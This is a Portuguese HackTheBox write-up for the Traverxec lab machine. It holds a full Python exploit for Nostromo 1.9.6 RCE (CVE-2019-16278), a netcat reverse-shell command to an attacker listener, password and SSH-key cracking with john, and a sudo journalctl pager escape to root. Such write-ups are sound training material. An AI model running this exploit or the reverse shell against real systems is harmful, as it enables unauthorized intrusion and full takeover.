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# Writeup do HackTheBox Traverxec

Writeup da máquina Easy Linux Traverxec do HackTheBox cobrindo exploração do Nostromo, abuso da configuração Nostromo HomeDirs, exploração do Journalctl (escalada de privilégios), com enumeração prática, explo

{% embed url="<https://app.hackthebox.com/machines/217>" %}

{% hint style="warning" %}
**Habilidades:**

* Exploração do Nostromo
* Abusando da configuração HomeDirs do Nostromo
* Explorando o Journalctl (elevação de privilégios)
  {% endhint %}

## Reconhecimento <a href="#reconnaissance" id="reconnaissance"></a>

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

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**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir uma comunicação estável com a máquina-alvo.

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**Descoberta de Portas Abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- -sS --open -vvv -n -Pn --min-rate 5000 10.10.10.165 -oG allPorts
```

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**Análise das Portas Abertas com extractPorts:**

Use a função extractPorts para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência.

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**Varredura de versão das portas com Nmap:**

Use o Nmap para escanear as versões dos serviços e salvar a saída no arquivo "targeted":

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Para resolver nomes de domínio em endereços IP via DNS, insira o nome de domínio associado ao seu endereço IP no `/etc/hosts` arquivo.

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## Porta 80:

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Usando `whatweb`, identificamos a versão 1.9.6 do Nostromo:

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## Exploração do Nostromo

**Busca por exploit**: Em `searchploit`, encontre um exploit de RCE para o Nostromo 1.9.6 (CVE-2019-16278).

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Baixe o script no GitHub.

{% embed url="<https://github.com/aN0mad/CVE-2019-16278-Nostromo_1.9.6-RCE>" %}

**Execução do script**: Usa o seguinte script para executar comandos no servidor

```python
import argparse
import socket

# Configuração do Argparse
parser = argparse.ArgumentParser(description="Exploit para CVE-2019-16278 - RCE no Nostromo 1.9.6")
parser.add_argument("-t", "--target", help="Host remoto de destino")
parser.add_argument("-p", "--port", help="Porta remota de destino")
parser.add_argument("-c", "--command", help="Comando a executar no servidor")
parser.add_argument("-b", "--bytes", help="A quantidade de bytes a receber de volta na resposta")

# Define e atribui as variáveis
args = parser.parse_args()
TARGET = args.target
PORT = int(args.port)
COMMAND = args.command
BYTES = args.bytes

if BYTES is None:
    BYTES = 4096
else:
    BYTES = int(BYTES)

URL = "/.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0"

# Monta e codifica a carga útil
payload = (f"POST {URL}/r/n"
           "Content-Length: 1/r/n/r/n"
           f"echo/necho/n{COMMAND} 2>&1").encode()

# Cria o socket e envia a carga útil
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, PORT))
s.send(payload)

# Recebe a resposta e fecha o socket
print(s.recv(1024).decode())  # Decodifica os bytes de volta para string para exibição
print(s.recv(BYTES).decode())
s.close()
```

```bash
python exploit.py -t 10.10.10.165 -p 80 -c whoami
```

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**Shell reversa obtida**

```bash
python exploit.py -t 10.10.10.165 -p 80 -c bash -c 'nc -e /bin/bash 10.10.14.10 443'
```

```bash
sudo nc -nlvp 443
```

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#### Melhoria do terminal

Para tornar o terminal interativo:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## Escalada de Privilégios <a href="#suid-privilege-escalation" id="suid-privilege-escalation"></a>

**Acesso aos arquivos de configuração do Nostromo**:

No `nhttpd.conf` arquivo, há uma diretiva indicando um arquivo `.htpasswd` em `/var/nostromo/conf` que contém informações de autenticação.

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`david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/`

**Descriptografia da senha**:

Use `john` para quebrar a senha:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`david:Nowonly4me`

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### Configuração HomeDirs do Nostromo

{% hint style="info" %}
**Contexto:** O Nostromo é configurado para permitir que os usuários hospedem conteúdo web em um diretório home especificado, geralmente como `public_www` em seu diretório home (`/home/[user]/public_www`). Essa configuração permite que os usuários acessem suas próprias páginas por meio de uma URL como `http://traverxec.htb/~[user]`.
{% endhint %}

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Ao navegar por este arquivo, também descobrimos a menção de uma `public_www` pasta como o local padrão para o conteúdo web dos usuários.

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Acessando `http://traverxec.htb/~david` encontramos uma pasta oculta `protected-file-area` contendo um arquivo `.tgz`.

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**Baixando e extraindo o conteúdo:**

Baixe o `backup-ssh-identity-files.tgz` arquivo:

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Vamos extrair o conteúdo para recuperar uma chave SSH:

`tar -xzf backup-ssh-identity-files.tgz`

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### **Descriptografia da chave SSH:**

A chave SSH extraída é protegida por senha. Usamos `ssh2john` para converter a chave para o formato utilizável por `john` e iniciar um ataque de força bruta:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2492919bf52def516b34b8c2eb3ffbfc13c28367%2F%7B5368B79E-2E0F-45B7-8896-89E2EADC84F9%7D.png?alt=media" alt="" width="371"><figcaption></figcaption></figure>

```bash
ssh2john id_rsa > id_rsa.hash
```

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```bash
john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt id_rsa.hash
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5133da9c42297e8e8c5f98f0335a4dc53fa0e42f%2Fimage%20(2420).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Senha encontrada: `hunter`.

```bash
ssh -i id_rsa david@10.10.10.165
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-07aedad3a3c39ec61f5f7597c19239997d63d445%2Fimage%20(2421).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Flag user.txt

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## Explorando o Journalctl:

{% hint style="info" %}
Encontramos um script, `server-stats.sh`, em `/bin` diretório. Este script está configurado para executar o `/usr/bin/journalctl` comando com privilégios de sudo. Isso significa que podemos explorar esse comando para obter privilégios de root
{% endhint %}

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**Busca por Vulnerabilidade no GTFOBins:**

* Ao consultar o GTFOBins, descobrimos que `journalctl` pode ser usado para elevar privilégios emitindo um comando de shell.

{% embed url="<https://gtfobins.github.io/gtfobins/journalctl/>" %}

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**Condições de execução:**

Para disparar essa exploração, você deve restringir o tamanho da janela do terminal para ativar o `less` modo de paginação no `journalctl`. Esse modo permite que você execute comandos de shell via `!`.

```bash
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-412b84580d5e82a85cb399f39e5d6c6173c243f9%2Fimage%20(1142).png?alt=media" alt=""><figcaption></figcaption></figure>

Uma vez no `less` modo, digite o seguinte comando para obter uma shell de root:

```bash
!/bin/sh
```

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### Flag root.txt :)

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